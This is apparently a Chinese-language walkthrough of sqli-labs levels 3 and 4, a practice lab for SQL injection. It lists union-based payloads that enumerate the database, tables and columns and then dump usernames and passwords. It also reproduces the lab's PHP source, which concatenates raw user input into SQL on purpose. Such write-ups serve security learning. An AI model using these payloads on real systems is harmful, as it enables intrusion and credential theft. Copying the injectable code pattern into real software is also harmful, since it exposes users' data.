1. 程式人生 > >sqli-labs第3-4關 詳解

sqli-labs第3-4關 詳解

通過第二關,來到第三關

我們用了前兩種方法,都報錯,然後自己也不太會別的注入,然後莫名的小知識又增加了。這居然是一個帶括號的字元型注入,

這裡我們需要閉合前面的括號。

$sql=select * from users where id=("$id");

但我們傳入的id為5')然後我們的語句就變成了

 

 而且頁面顯示正常,然後我們就去判斷欄位的列數,這個跟前三關應該是一樣的 ,我們直接

pyload: ?id=5')order by 4--+

然後判斷3的時候,沒有報錯,於是確定列數為3,具體為什麼要確定列數,在第一個wp中有提到,

https://www.cnblogs.com/junlebao/p/13758919.html點選這個就可以看到關於聯合查詢的知識點了

我們用聯合查詢,所以我們要保證列數字段一致,如果不一致則會報錯。

下面我們貼出原始碼

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-4 Error Based- DoubleQuotes String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);//函式從結果集中取得一行作為關聯陣列,或數字陣列,或二者兼有返回根據從結果集取得的行生成的陣列,如果沒有更多行則返回 false
	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-4.jpg" /></center>
</body>
</html>

看原始碼裡面的函式,我給了註釋,這就是為什麼我們要將id的值給-1,我們需要將前面的資料便為空集,然後我們後面的資料就會呈現出來。

說完了這個,我們接著下一步操作:

1. 爆庫名  ?id=-1') union select 1,2,database()--+

2. 爆表名  ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

3. 爆欄位  ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

4. 爆資料  ?id=-1') union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

然後就查到了我們想要的users表中的資料了。

 之後我們又來到了第四關,發現第四關只是將單引號變成了雙引號了,所以我們

pyload:?id=5")--+

然後發現頁面正常顯示,沒有報錯,於是我們用order by來判斷列數,步驟和第三題一樣。

希望可以對讀者有幫助,不對的希望大家多多指正,大家共同進